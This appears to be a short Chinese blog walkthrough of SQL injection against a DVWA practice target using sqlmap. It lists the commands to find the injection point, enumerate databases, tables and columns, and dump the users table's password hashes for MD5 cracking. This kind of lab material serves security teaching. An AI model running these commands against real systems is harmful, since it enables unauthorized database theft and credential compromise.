SQL-SqlMap注入

2023-11-12

首先打开靶机进入目标地址,直接在kali sqlmap上进行测试

 先使用burp suite抓取一个提交的数据包

 然后把里面的数据全部复制到真机(自己的电脑上)创建一个文本文件,然后上传至kali桌面上。

 然后在kali上执行以下命令确定注入点

sqlmap -r 123.txt --data=id (--batch)

 使用下面的命令爆出所有数据库

sqlmap -r 123.txt --data=id -dbs

 可以看到有5个数据库,我们使用dvwa库执行以下命令爆出库中的所有表

sqlmap -r 123.txt --data=id -D dvwa --tables

可以看到dvwa库中有guestbook表和users表

然后我们使用以下命令爆出users表中的字段名

sqlmap -r 123.txt --data=id -D dvwa -T users –columns

 

 最后使用以下命令爆出user和password字段的内容,读取数据

sqlmap -r 123.txt --data=id -D dvwa -T users --dump

 到这里我们就得到了管理员的账号和密码,这里的密码是进行加密了,可以使用MD5进行解密

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQL-SqlMap注入 的相关文章

  • JQ源码分析(环境处理)

    JQ可以在哪运行 浏览器 手机端app中 有window环境 不支持commonJS规范 支持es6 module规范 node环境 没有window 支持commonJS 但不支持Es6Module 可以用webpack进行编译 支持wi
  • c++中的vector容器(笔记练习)

    笔记 1 about vector vector是可变大小数组的序列容器 同数组一样 vector也采用连续存储空间存储元素 因此可采用下标对元素进行访问 与普通数组不同的是 它的大小是可动态改变 vector使用动态数组存储元素 与其它动
  • 【黑马程序员】MySQL 基础篇

    文章目录 前言 一 MySQL 概述 1 数据库相关概念 2 MySQL 数据库 1 版本 2 下载 3 安装 4 启动与停止 5 客户端连接 3 数据模型 1 关系型数据库 RDBMS 2 数据模型 二 SQL 1 SQL 通用语法 2
  • 企业应如何减少云配置错误?

    在当今技术驱动的环境中 大多数公司都会在云上拥有一些工作负载 与本地网络不同 这些云环境缺乏安全的外部边界和特定的关闭时间 云网络始终开启且始终可用 虽然方便 但这也意味着黑客可以随时访问它们 因此 这些网络中的任何漏洞 例如云配置错误 都
  • 项目回顾(一)-----原型的建立

    距离实习结束也有一段时间了 这段时间里我从前到后参加的过的一个项目 收获颇丰 故在博客中自我总结 积累经验 从了解到需求开始 就要开始着手思考功能 功能联系 数据存储等问题 根据客户的需求来进行原型的设计 这一步操作不单单是给客户一个样例
  • Java JDK动态代理

    Java JDK动态代理 一 代理是什么 二 示例 三 总结 一 代理是什么 代理是一种设计模式 被代理对象 真实对象 实现具体的服务方法 委托给代理来进行处理 代理类可以在被代理对象的方法上附加更多的处理 一般有静态代理和动态代理 区别在
  • Rancher部署Flink集群

    目录 一 添加flink conf yaml 二 配置flink jobmanager 三 配置flink taskmanager 一 添加flink conf yaml 资源 gt 配置映射 添加配置项

随机推荐